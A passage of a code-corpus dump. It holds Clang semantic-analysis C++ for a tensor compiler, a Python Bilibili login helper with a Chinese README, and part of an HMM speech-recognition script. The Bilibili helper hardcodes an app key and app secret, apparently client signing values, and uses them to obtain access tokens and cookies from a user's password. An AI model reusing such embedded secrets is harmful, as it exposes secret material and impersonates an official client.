assert(T->isFunctionType() && \"function decl is not of function type\");\n auto *FT = T->castAs<FunctionType>();\n if (!Context.hasSameType(FT->getReturnType(), Context.VoidTy))\n Diag(MainFunc->getTypeSpecStartLoc(), diag::warn_tpc_not_void_function);\n if (MainFunc->isInlineSpecified())\n Diag(MainFunc->getBeginLoc(), diag::err_inline_entry_function)\n << FixItHint::CreateRemoval(MainFunc->getBeginLoc());\n\n if (!isa<FunctionNoProtoType>(FT)) {\n auto *FTP = cast<const FunctionProtoType>(FT);\n unsigned nparams = FTP->getNumParams();\n assert(MainFunc->getNumParams() == nparams);\n for (unsigned i = 0; i < nparams; ++i) {\n QualType AT = FTP->getParamType(i);\n if (!AT->isBuiltinType()) {\n Diag(MainFunc->getParamDecl(i)->getLocation(),\n diag::err_main_type_of_arg_wrong)\n << MainFunc->getParamDecl(i)->getNameAsString();\n MainFunc->setInvalidDecl(true);\n }\n }\n }\n\n // If 'printf' is used, check if there is available tensor for printf.\n if (TpcPrintfIsUsed) {\n unsigned NumAvailableTensors = getLangOpts().NumTensors;\n if (!ExtraParams.empty())\n --NumAvailableTensors;\n if (TpcPrintfIsUsed)\n --NumAvailableTensors;\n if (Tensors.size() > NumAvailableTensors) {\n Diag(Tensors[NumAvailableTensors]->getLocation(),\n diag::err_tensors_num_exceed_limit);\n }\n }\n\n RC99TranslationUnitScanner Scanner(*this);\n if (!Scanner.TraverseDecl(Context.getTranslationUnitDecl()))\n return;\n\n // create __initialize function definition \n SmallVector<Stmt*, 32> InitStmts;\n\n auto FnBody = CompoundStmt::Create(Context, InitStmts, MainFunc->getBeginLoc(), MainFunc->getBeginLoc());\n IdentifierInfo *III = PP.getIdentifierInfo(\"__initialize\");\n DeclarationName DN1(III);\n DeclarationNameInfo DNII(DN1, SourceLocation());\n LookupResult RI(*this, DNII, LookupOrdinaryName);\n LookupName(RI, TUScope);\n assert(RI.getResultKind() == LookupResult::Found);\n FunctionDecl *FDI = cast<FunctionDecl>(RI.getFoundDecl());\n FDI->setBody(FnBody);\n\n Consumer.HandleTopLevelDecl(DeclGroupRef(FDI));\n}\n\nVarDecl *Sema::ActOnTensorDeclarator(VarDecl *TensorDecl, unsigned TensorNumber,\n bool ExtraArgsPresent) {\n // Number of tensors available for user. Not not count tensor for 'printf', as\n // during processing of declaration of 'main' it is not known if 'printf' is\n // used.\n unsigned NumAvailableTensors = getLangOpts().NumTensors;\n if (ExtraArgsPresent)\n --NumAvailableTensors;\n\n if (TensorNumber == NumAvailableTensors) {\n Diag(TensorDecl->getLocation(), diag::err_tensors_num_exceed_limit);\n }\n\n Expr *Init = ActOnIntegerConstant(TensorDecl->getLocation(), TensorNumber).get();\n SourceLocation Loc = TensorDecl->getLocation();\n SourceLocation LocStart = TensorDecl->getBeginLoc();\n DeclarationName Name = TensorDecl->getDeclName();\n IdentifierInfo *II = Name.getAsIdentifierInfo();\n QualType Type = Init->getType();\n Type.addConst();\n TranslationUnitDecl *TU = Context.getTranslationUnitDecl();\n VarDecl *NewVD = VarDecl::Create(getASTContext(), TU, LocStart, Loc, II, Type, nullptr, SC_None);\n AddInitializerToDecl(NewVD, Init, false);\n DeclContext *SaveCtx = CurContext;\n CurContext = TU;\n NewVD->setDeclContext(CurContext);\n PushOnScopeChains(NewVD, TUScope, true);\n CurContext = SaveCtx;\n\n assert(Tensors.size() == TensorNumber &&\n \"Invalid sequence of tensor declarations\");\n Tensors.push_back(NewVD);\n\n return NewVD;\n}\n\n/// Create declaration statement for shadow variable of extra parameter.\n///\n/// arg20 = *pointer;\n///\nDeclStmt *Sema::ProcessExtraArgs(ParmVarDecl *VD, VarDecl *Ptr) {\n assert(cast<FunctionDecl>(CurContext)->getName().equals(getLangOpts().MainFunction));\n\n SourceLocation Loc = VD->getLocation();\n SourceLocation LocStart = VD->getBeginLoc();\n CXXScopeSpec SS;\n DeclarationName Name = VD->getDeclName();\n IdentifierInfo *II = Name.getAsIdentifierInfo();\n VarDecl *NewVD = VarDecl::Create(getASTContext(), CurContext, LocStart, Loc, II, VD->getType(), nullptr, SC_None);\n QualType Ty = Ptr->getType();\n DeclRefExpr *Idx = DeclRefExpr::Create(getASTContext(), NestedNameSpecifierLoc(), SourceLocation(),\n Ptr, false, SourceLocation(), Ty, VK_LValue);\n ExprResult Res = ImplicitCastExpr::Create(getASTContext(), Ty, CK_LValueToRValue, Idx, nullptr, VK_RValue);\n QualType Type = VD->getType();\n if (!(Type == Context.UnsignedIntTy ||\n Type == Context.IntTy)) {\n Type = Context.getAddrSpaceQualType(Type, LangAS::rc99_global);\n Res = ImplicitCastExpr::Create(getASTContext(), Context.getPointerType(Type), CK_BitCast, Res.get(), nullptr, VK_RValue);\n }\n Res = CreateBuiltinUnaryOp(SourceLocation(), UO_Deref, Res.get());\n AddInitializerToDecl(NewVD, Res.get(), false);\n PushOnScopeChains(NewVD, getCurScope(), true);\n return new (Context) DeclStmt(DeclGroupRef(NewVD), LocStart, Loc);\n}\n\n/// Create tensor indices for access to extra main arguments.\n///\n/// int5 hiddenTensorOffset (0,0,0,0,0);\n///\nVarDecl *Sema::CreateTensorOffsetForExtraArgs() {\n // Find declaration of \"int5\".\n IdentifierInfo *II = PP.getIdentifierInfo(\"int5\");\n DeclarationName DN(II);\n SourceLocation Loc = SourceLocation(); // TODO: use main location\n DeclarationNameInfo DNI(DN, Loc);\n LookupResult R(*this, DNI, LookupOrdinaryName);\n LookupName(R, TUScope);\n assert(R.getResultKind() == LookupResult::Found);\n Decl *FD = cast<Decl>(R.getFoundDecl());\n QualType Type;\n if (auto TDD = dyn_cast<TypedefDecl>(FD))\n Type = TDD->getTypeSourceInfo()->getType() ;\n assert(!Type.isNull());\n\n // int5 hiddenTensorOffset (0,0,0,0,0);\n SmallVector<Expr*, 5> InitExprs;\n II = PP.getIdentifierInfo(\"HiddenTensorOffset\");\n\n VarDecl *NewVD = VarDecl::Create(getASTContext(), CurContext, Loc, Loc, II, Type, nullptr, SC_None);\n Expr *Init = ActOnIntegerConstant(Loc, 0).get();\n for (unsigned int i = 0; i<5; i++)\n InitExprs.push_back(Init);\n InitListExpr *E = new (Context) InitListExpr(Context, Loc, InitExprs, Loc);\n E->setType(Type); \n AddInitializerToDecl(NewVD, E, false);\n\n// NewVD->setDeclContext(CurContext); \n// PushOnScopeChains(NewVD, getCurScope(), true);\n return NewVD;\n}\n\n/// Get global address of the extra argument.\n///\n/// __global void* pointer = gen_addr(15, hiddenTensorOffset, 0, 0, 1, 0);\n///\nStmt *Sema::getArgumentAddress(VarDecl *Ptr, VarDecl *TensorOffset) {\n SourceLocation Loc = SourceLocation(); // TODO: use main location\n\n // Fins intrinsic function.\n IdentifierInfo *II = PP.getIdentifierInfo(\"gen_addr\");\n DeclarationName DN(II);\n DeclarationNameInfo DNI(DN, Loc);\n LookupResult R(*this, DNI, LookupOrdinaryName);\n LookupName(R, CurScope, true /*AllowBuiltinCreation*/);\n assert(R.getResultKind() == LookupResult::Found);\n CXXScopeSpec SS;\n ExprResult IntrinsicFuncPtr = BuildDeclarationNameExpr(SS, R, 0);\n assert(IntrinsicFuncPtr.isUsable());\n QualType ResultTy = getASTContext().VoidTy;\n Qualifiers Q = ResultTy.getQualifiers();\n Q.setAddressSpace(LangAS::rc99_global);\n ResultTy = getASTContext().getQualifiedType(ResultTy, Q);\n ResultTy = getASTContext().getPointerType(ResultTy);\n\n // Get reference to index set (hiddenTensorOffset).\n QualType Ty = TensorOffset->getType();\n DeclRefExpr *Idx = DeclRefExpr::Create(getASTContext(), NestedNameSpecifierLoc(), Loc, \n TensorOffset, false, Loc, Ty, VK_LValue);\n\n // Call the intrinsic: gen_address(15, hiddenTensorOffset, 0, out_ptr, true, true).\n SmallVector<Expr*, 5> Args;\n Expr *Init = ActOnIntegerConstant(Loc, getLangOpts().NumTensors - 1).get();\n Args.push_back(Idx);\n Args.push_back(Init);\n Args.push_back(IntegerLiteral::Create(getASTContext(), llvm::APInt::getNullValue(32), getASTContext().IntTy, Loc));\n Args.push_back(new (getASTContext()) CXXNullPtrLiteralExpr(ResultTy, Ptr->getLocation()));\n Args.push_back(new (getASTContext()) CXXBoolLiteralExpr(true, getASTContext().BoolTy, Ptr->getLocation()));\n Args.push_back(new (getASTContext()) CXXBoolLiteralExpr(false, getASTContext().BoolTy, Ptr->getLocation()));\n ExprResult RHS = ActOnCallExpr(getCurScope(), IntrinsicFuncPtr.get(), Loc, Args, Loc, 0);\n DeclRefExpr *LHS = DeclRefExpr::Create(getASTContext(), NestedNameSpecifierLoc(), Loc,\n Ptr, false, Loc, Ptr->getType(), VK_LValue);\n ExprResult SubL = BuildBinOp(CurScope, Loc, BO_Assign, LHS, RHS.get());\n return ActOnExprStmt(SubL).get();\n}\n\n/// Create extra argument pointer.\n///\n/// __global__ void *HiddenGlobPtr;\n///\nVarDecl *Sema::CreateGlobPointer() {\n SourceLocation Loc = SourceLocation(); // TODO: use main location\n IdentifierInfo *II = PP.getIdentifierInfo(\"HiddenGlobPtr\");\n QualType Type;\n Type = Context.IntTy;\n Type = Context.getAddrSpaceQualType(Type, LangAS::rc99_global);\n Type = Context.getPointerType(Type);\n VarDecl *NewVD = VarDecl::Create(getASTContext(), CurContext, Loc, Loc, II, Type, nullptr, SC_None);\n return NewVD;\n}\n\nStmt *Sema::ShiftIndex(VarDecl *TensorOffset) {\n SourceLocation Loc = SourceLocation(); // TODO: use main location\n IdentifierInfo *II = PP.getIdentifierInfo(\"x\");\n DeclarationName MemberName(II);\n IdentifierInfo *Member = MemberName.getAsIdentifierInfo();\n QualType Ty = TensorOffset->getType();\n DeclRefExpr *Idx = DeclRefExpr::Create(getASTContext(), NestedNameSpecifierLoc(), Loc,\n TensorOffset, false, Loc, Ty, VK_LValue);\n QualType TyEl = Ty->getAs<ExtVectorType>()->getElementType();\n\n ExprResult SubL = new (Context) ExtVectorElementExpr(TyEl, VK_LValue, Idx, *Member, Loc);\n DeclRefExpr *IdxR = DeclRefExpr::Create(getASTContext(), NestedNameSpecifierLoc(), Loc,\n TensorOffset, false, Loc, Ty, VK_RValue);\n ExprResult SubR = new (Context) ExtVectorElementExpr(TyEl, VK_LValue, IdxR, *Member, Loc);\n Expr *Init = ActOnIntegerConstant(Loc, 1).get();\n ExprResult RHS = BuildBinOp(CurScope, Loc, BO_Add, SubR.get(), Init);\n SubL = BuildBinOp(CurScope, Loc, BO_Assign, SubL.get(), RHS.get());\n return ActOnExprStmt(SubL).get();\n}\n\n/// For each argument beyond 32-th creates shadow declaration with the same name\n/// and initializes it.\n/// \\param Stmts Statement list that keeps generated statements. it will become\n/// a beginning of main body.\n/// \\param ExtraArgs Parameters of main beyond 32th. Prepared by parser.\n///\nvoid Sema::DeclareExtraArgs(SmallVector<Stmt*, 32> &Stmts,\n const SmallVector<ParmVarDecl*, 4> &ExtraArgs) {\n // int5 hiddenTensorOffset (0,0,0,0,0);\n\n VarDecl *TensorOffset = CreateTensorOffsetForExtraArgs();\n SourceLocation Loc = SourceLocation(); // TODO: use location on main\n DeclStmt *TensorOffsetDecl = new (Context)\n DeclStmt(DeclGroupRef(TensorOffset), Loc, Loc);\n Stmts.push_back(TensorOffsetDecl);\n\n // __global__ void *pointer;\n\n VarDecl *GlobPointer = CreateGlobPointer();\n DeclStmt *GlobPointerDecl = new (Context) DeclStmt(DeclGroupRef(GlobPointer), Loc, Loc);\n Stmts.push_back(GlobPointerDecl);\n\n // pointer = gen_addr(15, hiddenTensorOffset);\n\n Stmts.push_back(getArgumentAddress(GlobPointer, TensorOffset));\n\n // arg32 = *pointer;\n Stmts.push_back(ProcessExtraArgs(ExtraArgs[0], GlobPointer));\n\n // for (int i = 33; i < num_args; ++i) {\n // hiddenTensorOffset.x = hiddenTensorOffset.x+1;\n // pointer = gen_address(11, hiddenTensorOffset);\n\n for (unsigned i = 1; i < ExtraArgs.size(); i++) {\n Stmts.push_back(ShiftIndex(TensorOffset));\n Stmts.push_back(getArgumentAddress(GlobPointer, TensorOffset));\n Stmts.push_back(ProcessExtraArgs(ExtraArgs[i], GlobPointer));\n ExtraParams.push_back(ExtraArgs[i]);\n }\n}\n\n\nvoid Sema::ActOnPragmaTpcPrintf(PragmaTpcPrintfAction Action) {\n if (Action == PragmaTpcPrintfAction::Enable) {\n TpcPrintfPragmaIsOn = true;\n TpcPrintfIsUsed = true;\n } else {\n assert(Action == PragmaTpcPrintfAction::Disable);\n TpcPrintfPragmaIsOn = false;\n }\n}\n\nvoid Sema::ActOnPragmaIndexSpace(\n Scope *CurScope, SourceLocation PragmaLoc,\n llvm::SmallVector<unsigned, 16> &TensorIDs,\n llvm::SmallVector<llvm::SmallString<128>, 5> &IndexFactors) {\n\n // Get the closest function scope from where the pragma\n // is declared.\n Scope *FnScope = CurScope->getFnParent();\n if (!FnScope)\n return;\n\n DeclContext *FnDeclCtx = FnScope->getEntity();\n if (!FnDeclCtx)\n return;\n\n // From the decl context get the lookup context.\n // It has all the defs in the module.\n DeclContext *FnDeclLookupCtx = FnDeclCtx->getLookupParent();\n if (!FnDeclLookupCtx)\n return;\n\n std::vector<StringRef> IndexFactorsRef;\n for (unsigned i = 0; i < IndexFactors.size(); ++i) {\n IndexFactorsRef.push_back(IndexFactors[i].str());\n }\n\n for (DeclContextLookupResult DL : FnDeclLookupCtx->lookups()) {\n for (NamedDecl *ND : DL) {\n if (FunctionDecl *FD = dyn_cast_or_null<FunctionDecl>(ND)) {\n // Add the pragma as attribute to the main function.\n if (FD->isMain()) {\n FD->addAttr(IndexSpaceAttr::CreateImplicit(\n Context, TensorIDs.data(), TensorIDs.size(),\n IndexFactorsRef.data(), IndexFactorsRef.size()));\n }\n }\n }\n }\n TensorIDs.clear();\n IndexFactors.clear();\n}\n\nvoid Sema::ActOnPragmaIndexSpaceb(\n Scope *CurScope, SourceLocation PragmaLoc,\n llvm::SmallVector<unsigned, 16> &TensorIDs,\n llvm::SmallVector<llvm::SmallString<128>, 10> &IndexFactors) {\n\n // Get the closest function scope from where the pragma\n // is declared.\n Scope *FnScope = CurScope->getFnParent();\n if (!FnScope)\n return;\n\n DeclContext *FnDeclCtx = FnScope->getEntity();\n if (!FnDeclCtx)\n return;\n\n // From the decl context get the lookup context.\n // It has all the defs in the module.\n DeclContext *FnDeclLookupCtx = FnDeclCtx->getLookupParent();\n if (!FnDeclLookupCtx)\n return;\n\n std::vector<StringRef> IndexFactorsRef;\n for (unsigned i = 0; i < IndexFactors.size(); ++i) {\n IndexFactorsRef.push_back(IndexFactors[i].str());\n }\n\n for (DeclContextLookupResult DL : FnDeclLookupCtx->lookups()) {\n for (NamedDecl *ND : DL) {\n if (FunctionDecl *FD = dyn_cast_or_null<FunctionDecl>(ND)) {\n // Add the pragma as attribute to the main function.\n if (FD->isMain()) {\n FD->addAttr(IndexSpacebAttr::CreateImplicit(\n Context, TensorIDs.data(), TensorIDs.size(),\n IndexFactorsRef.data(), IndexFactorsRef.size()));\n }\n }\n }\n }\n TensorIDs.clear();\n IndexFactors.clear();\n}\n\nvoid Sema::ActOnPragmaReductionOrNormAxes(\n Scope *CurScope, SourceLocation PragmaLoc,\n llvm::SmallVector<unsigned, 16> &TensorIDs,\n llvm::SmallVector<llvm::SmallString<128>, 5> &Axes) {\n\n // Get the closest function scope from where the pragma\n // is declared.\n Scope *FnScope = CurScope->getFnParent();\n if (!FnScope)\n return;\n\n DeclContext *FnDeclCtx = FnScope->getEntity();\n if (!FnDeclCtx)\n return;\n\n // From the decl context get the lookup context.\n // It has all the defs in the module.\n DeclContext *FnDeclLookupCtx = FnDeclCtx->getLookupParent();\n if (!FnDeclLookupCtx)\n return;\n\n std::vector<StringRef> AxesRef;\n for (unsigned i = 0; i < Axes.size(); ++i) {\n AxesRef.push_back(Axes[i].str());\n }\n\n for (DeclContextLookupResult DL : FnDeclLookupCtx->lookups()) {\n for (NamedDecl *ND : DL) {\n if (FunctionDecl *FD = dyn_cast_or_null<FunctionDecl>(ND)) {\n // Add the pragma as attribute to the main function.\n if (FD->isMain()) {\n FD->addAttr(ReductionOrNormAxesAttr::CreateImplicit(\n Context, TensorIDs.data(), TensorIDs.size(), AxesRef.data(),\n AxesRef.size()));\n }\n }\n }\n }\n}\n\nstatic const llvm::fltSemantics &getSemanticsFromType(ASTContext &Context, QualType Ty) {\n Ty = Ty.getCanonicalType();\n const llvm::fltSemantics *FSema;\n if (Ty == Context.FloatTy)\n FSema = &llvm::APFloat::IEEEsingle();\n else if (Ty == Context.HalfTy)\n FSema = &llvm::APFloat::IEEEhalf();\n else if (Ty == Context.BFloat16Ty)\n FSema = &llvm::APFloat::BFloat16();\n else if (Ty == Context.Float8_143Ty)\n FSema = &llvm::APFloat::Float8_143();\n else if (Ty == Context.Float8_152Ty)\n FSema = &llvm::APFloat::Float8_152();\n else\n llvm_unreachable(\"cannot determine floating semantics\");\n return *FSema;\n}\n\nstatic unsigned getIntWidthFromType(ASTContext &Context, QualType Ty) {\n Ty = Ty.getCanonicalType();\n if (Ty == Context.IntTy || Ty == Context.UnsignedIntTy)\n return 32;\n if (Ty == Context.ShortTy || Ty == Context.UnsignedShortTy)\n return 16;\n if (Ty == Context.CharTy || Ty == Context.UnsignedCharTy)\n return 8;\n llvm_unreachable(\"unsuported integer type\");\n}\n\nExpr *Sema::buildDefaultArgument(const FunctionProtoType *FT,\n unsigned ID, unsigned ParamNo) {\n int FirstParamWithDefault = Context.BuiltinInfo.getParamWithDefault(ID);\n if (FirstParamWithDefault < 0 || ParamNo < (unsigned)FirstParamWithDefault)\n return nullptr;\n\n int NParams = FT->getNumParams();\n QualType ParamTy = FT->getParamType(ParamNo);\n if (ParamNo == NParams - 1 && ParamTy->isBooleanType()) {\n // The last argument, polarity.\n return new(Context) CXXBoolLiteralExpr(false, Context.BoolTy, SourceLocation());\n } else if (ParamNo == NParams - 2 && ParamTy->isBooleanType()) {\n // The last but one argument, predicate.\n return new(Context) CXXBoolLiteralExpr(true, Context.BoolTy, SourceLocation());\n } else if (ParamNo == NParams -3 && ParamTy->isBooleanType()) {\n // Income.\n return new(Context) CXXBoolLiteralExpr(false, Context.BoolTy, SourceLocation());\n } else if (ParamNo == NParams - 3 && ParamTy == FT->getReturnType()) {\n QualType ArgTy = FT->getReturnType();\n // The last but two argument, income.\n if (ArgTy->isStructureType()) {\n TypeSourceInfo *TInfo = Context.getTrivialTypeSourceInfo(ParamTy);\n ExprResult Init = BuildInitList(SourceLocation(), None, SourceLocation());\n assert(Init.isUsable());\n ExprResult R = BuildCompoundLiteralExpr(SourceLocation(), TInfo, SourceLocation(), Init.get());\n assert(R.isUsable());\n return R.get();\n } else if (ArgTy->isVectorType()) {\n QualType EltTy = ArgTy->getAs<VectorType>()->getElementType();\n Expr *Zero;\n if (EltTy->isFloatingType()) {\n llvm::APFloat Val = llvm::APFloat::getZero(getSemanticsFromType(Context, EltTy));\n Zero = FloatingLiteral::Create(Context, Val, true, EltTy, SourceLocation());\n } else {\n assert(EltTy->isIntegerType());\n llvm::APInt Val(getIntWidthFromType(Context, EltTy), 0);\n Zero = IntegerLiteral::Create(Context, Val, EltTy, SourceLocation());\n }\n return ImplicitCastExpr::Create(Context, ArgTy, CastKind::CK_VectorSplat, Zero, nullptr, VK_RValue);\n } else if (ArgTy->isFloatingType()) {\n llvm::APFloat Val(getSemanticsFromType(Context, ArgTy));\n return FloatingLiteral::Create(Context, Val, true, ArgTy, SourceLocation());\n } else if (ArgTy->isIntegerType()) {\n llvm::APInt Val(getIntWidthFromType(Context, ArgTy), 0);\n return IntegerLiteral::Create(Context, Val, ArgTy, SourceLocation());\n } else if (ArgTy->isPointerType()) {\n return new(Context) CXXNullPtrLiteralExpr(ArgTy, SourceLocation());\n }\n } else if (ParamTy == Context.IntTy) {\n // Integer parameter, probably switches.\n llvm::APInt Val(32, 0);\n return IntegerLiteral::Create(Context, Val, Context.IntTy, SourceLocation());\n }\n llvm_unreachable(\"Cannot create default argument\");\n}\n" } ]
523
CN-XiaoZ/MyBilibiliHelper
https://github.com/CN-XiaoZ/MyBilibiliHelper
bb6792ddbe860b6ffff6d4e751373addaa2c03d6
9f180351b4fcbd91247795e34ad587d62e73b304
a480f6b287b787781b2e3f9b2b8c3d98c7705f7f
refs/heads/master
2020-09-23T00:37:54.874812
2019-11-21T07:24:43
2019-11-21T07:24:43
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5981470942497253, "alphanum_fraction": 0.6276780366897583, "avg_line_length": 29.981481552124023, "blob_id": "1232110e12a4788668290deddb89c539a94e6546", "content_id": "15d71a0f7dcd4de68eadc1f0b8eb94bb3204a6b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1727, "license_type": "no_license", "max_line_length": 67, "num_lines": 54, "path": "/myapi.py", "repo_name": "CN-XiaoZ/MyBilibiliHelper", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\r\n# coding=utf-8\r\nimport json\r\nimport time\r\nfrom base64 import b64encode\r\nfrom hashlib import md5\r\nfrom urllib import urlencode\r\n\r\nimport requests\r\nfrom Crypto.Cipher import PKCS1_v1_5\r\nfrom Crypto.PublicKey import RSA\r\n\r\nAPP_KEY = '1d8b6e7d45233436'\r\nAPP_SECRET = '560c52ccd288fed045859ed18bffd973'\r\n\r\n\r\ndef get_sign(params):\r\n items = params.items()\r\n items.sort()\r\n return md5(urlencode(items) + APP_SECRET).hexdigest()\r\n\r\n\r\ndef get_access_key(userid, password):\r\n base_url = \"https://passport.bilibili.com/api/v2/oauth2/login?\"\r\n url = 'http://passport.bilibili.com/login?act=getkey'\r\n get_key_res = requests.get(url)\r\n token = json.loads(get_key_res.content.decode('utf-8'))\r\n key = token['key'].encode('ascii')\r\n _hash = token['hash'].encode('ascii')\r\n key = RSA.importKey(key)\r\n cipher = PKCS1_v1_5.new(key)\r\n password = b64encode(cipher.encrypt(_hash + str(password)))\r\n item = {'appkey': APP_KEY,\r\n 'password': password,\r\n 'username': userid}\r\n item['sign'] = get_sign(item)\r\n page_temp = json.loads(requests.post(base_url, data=item).text)\r\n if page_temp['code'] != 0:\r\n print(page_temp['data'])\r\n return '-1'\r\n access_key = page_temp[\"data\"]['token_info']['access_token']\r\n return access_key\r\n\r\n\r\ndef get_cookies(access_key):\r\n session = requests.Session()\r\n url = \"http://passport.bilibili.com/api/login/sso?\"\r\n item = {'access_key': access_key,\r\n 'appkey': APP_KEY,\r\n 'gourl': 'https://account.bilibili.com/account/home',\r\n 'ts': str(int(time.time()))}\r\n item['sign'] = get_sign(item)\r\n session.get(url, params=item)\r\n return session.cookies.get_dict()\r\n" }, { "alpha_fraction": 0.8205128312110901, "alphanum_fraction": 0.8205128312110901, "avg_line_length": 20, "blob_id": "2ca60bc3aae30b6c514e11de2007bc8adba8743a", "content_id": "d61c2c80de68ad9c0c3348c27b57345f36a39716", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 319, "license_type": "no_license", "max_line_length": 55, "num_lines": 13, "path": "/README.md", "repo_name": "CN-XiaoZ/MyBilibiliHelper", "src_encoding": "UTF-8", "text": "- 第一次启动需调用create_table\n- 插入账号调用insertdb\n- 推荐使用supervisor部署\n\nsupervisor配置:\n```\n[program:Bilibilihelper]\ncommand=python -u /root/MyBilibiliHelper/bilibiliexp.py\nautostart=true\nautorestart=true\ndirectory=/root/MyBilibiliHelper\nstdout_logfile=/var/log/MyBilibiliHelper.log\n```\n" } ]
2
lishouqi/Speech-Recognition
https://github.com/lishouqi/Speech-Recognition
4009d3ef6180732e57e94a7191b2a2595bc34a95
adf06c5a300ae76b2e4e24d529dfcbf8db898720
577d7a6e74a9ae6a51d430d7201ebcc776f68026
refs/heads/master
2023-03-16T05:45:00.687146
2018-11-06T12:52:42
2018-11-06T12:52:42
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5721672773361206, "alphanum_fraction": 0.5991457104682922, "avg_line_length": 29.560283660888672, "blob_id": "ad1decce4c999c79f413e9392b101e6259af06a4", "content_id": "199b912084c1afea970253b1bade348c014f1720", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4448, "license_type": "no_license", "max_line_length": 107, "num_lines": 141, "path": "/npeeechrecog.py", "repo_name": "lishouqi/Speech-Recognition", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 31 17:42:03 2018\r\n\r\n@author: Arghya\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 31 10:12:40 2018\r\n\r\n@author: STUDENT1\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nfpaths = []\r\nlabels = []\r\nspoken = []\r\nfor f in os.listdir('naudio'):\r\n for w in os.listdir('naudio/' + f):\r\n fpaths.append('naudio/' + f + '/' + w)\r\n labels.append(f)\r\n if f not in spoken:\r\n spoken.append(f)\r\nprint('Words spoken:', spoken)\r\nfrom scipy.io import wavfile\r\ndata = np.zeros((len(fpaths), 32000))\r\nmaxsize = -1\r\nfor n,file in enumerate(fpaths):\r\n _, d = wavfile.read(file)\r\n data[n, :d.shape[0]] = d\r\n if d.shape[0] > maxsize:\r\n maxsize = d.shape[0]\r\ndata = data[:, :maxsize]\r\nprint('Number of files total:', data.shape[0])\r\nall_labels = np.zeros(data.shape[0])\r\nx=0\r\ny=15\r\nfor j in range(5):\r\n \r\n for i in range(15):\r\n all_labels[x:y]=j\r\n \r\n x+=15\r\n y+=15\r\n \r\nfrom sklearn.cluster import KMeans\r\nwcss = []\r\nfor i in range(1, 11):\r\n kmeans = KMeans(n_clusters = i, init = 'k-means++', random_state = 42)\r\n kmeans.fit(data)\r\n wcss.append(kmeans.inertia_)\r\nplt.plot(range(1, 11), wcss)\r\nplt.title('The Elbow Method')\r\nplt.xlabel('Number of clusters')\r\nplt.ylabel('WCSS')\r\nplt.show()\r\nkmeans = KMeans(init ='k-means++',n_clusters=5,n_init=20,max_iter =1000)\r\nkmeans.fit(data)\r\ny_kmeans = kmeans.predict(data)\r\nprint(y_kmeans)\r\n\r\nfrom numpy.lib.stride_tricks import as_strided\r\nimport scipy\r\ndef stft(x, fftsize=64, overlap_pct=.5): \r\n #Modified from http://stackoverflow.com/questions/2459295/stft-and-istft-in-python\r\n hop = int(fftsize * (1 - overlap_pct))\r\n w = scipy.hanning(fftsize + 1)[:-1] \r\n raw = np.array([np.fft.rfft(w * x[i:i + fftsize]) for i in range(0, len(x) - fftsize, hop)])\r\n return raw[:, :(fftsize // 2)]\r\n\r\n#Peak detection using the technique described here: http://kkjkok.blogspot.com/2013/12/dsp-snippets_9.html \r\ndef peakfind(x, n_peaks, l_size=3, r_size=3, c_size=3, f=np.mean):\r\n win_size = l_size + r_size + c_size\r\n shape = x.shape[:-1] + (x.shape[-1] - win_size + 1, win_size)\r\n strides = x.strides + (x.strides[-1],)\r\n xs = as_strided(x, shape=shape, strides=strides)\r\n def is_peak(x):\r\n centered = (np.argmax(x) == l_size + int(c_size/2))\r\n l = x[:l_size]\r\n c = x[l_size:l_size + c_size]\r\n r = x[-r_size:]\r\n passes = np.max(c) > np.max([f(l), f(r)])\r\n if centered and passes:\r\n return np.max(c)\r\n else:\r\n return -1\r\n r = np.apply_along_axis(is_peak, 1, xs)\r\n top = np.argsort(r, None)[::-1]\r\n heights = r[top[:n_peaks]]\r\n #Add l_size and half - 1 of center size to get to actual peak location\r\n top[top > -1] = top[top > -1] + l_size + int(c_size / 2.)\r\n return heights, top[:n_peaks]\r\n\r\nall_obs = []\r\nfor i in range(data.shape[0]):\r\n d = np.abs(stft(data[i, :]))\r\n n_dim = 6\r\n obs = np.zeros((n_dim, d.shape[0]))\r\n for r in range(d.shape[0]):\r\n _, t = peakfind(d[r, :], n_peaks=n_dim)\r\n obs[:, r] = t.copy()\r\n if i % 10 == 0:\r\n print(\"Processed obs %s\" % i)\r\n all_obs.append(obs)\r\n \r\nall_obs = np.atleast_3d(all_obs)\r\n\r\nfrom sklearn.model_selection import StratifiedShuffleSplit\r\n\r\nsss = StratifiedShuffleSplit(n_splits=5, test_size=0.1, random_state=0)\r\nsss.get_n_splits(all_obs, all_labels)\r\nfor n,i in enumerate(all_obs):\r\n all_obs[n] /= all_obs[n].sum(axis=0)\r\n\r\nfor train_index, test_index in sss.split(all_obs,all_labels):\r\n X_train, X_test = all_obs[train_index, ...], all_obs[test_index, ...]\r\n y_train, y_test = all_labels[train_index], all_labels[test_index]\r\nprint('Size of training matrix:', X_train.shape)\r\nprint('Size of testing matrix:', X_test.shape)\r\n\r\nfrom hmm import gmmhmm\r\nys = set(all_labels)\r\nms = [gmmhmm(4) for y in ys]\r\n_ = [m.fit(X_train[y_train == y, :, :]) for m, y in zip(ms, ys)]\r\nps = [m.transform(X_test) for m in ms]\r\nres = np.vstack(ps)\r\npredicted_labels = np.argmax(res, axis=0)\r\nmissed = (predicted_labels != y_test)\r\nprint('Test accuracy: %.2f percent' % (100 * (1 - np.mean(missed))))\r\n\r\n\r\n\r\nfrom sklearn.metrics import confusion_matrix\r\ncm = confusion_matrix(y_test, predicted_labels)\r\nprint(cm)\r\n\r\nfrom sklearn.metrics import classification_report\r\nprint(classification_report(y_test,predicted_labels, target_names=['four','one','three','two','zero']))" }, { "alpha_fraction": 0.8481012582778931, "alphanum_fraction": 0.8481012582778931, "avg_line_length": 38.5, "blob_id": "46c60f23e350c1ba435b669fd924a49ef6fb331a", "content_id": "349093bd930ee250e54e4bc69aa684af09a7cc3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 79, "license_type": "no_license", "max_line_length": 57, "num_lines": 2, "path": "/README.md", "repo_name": 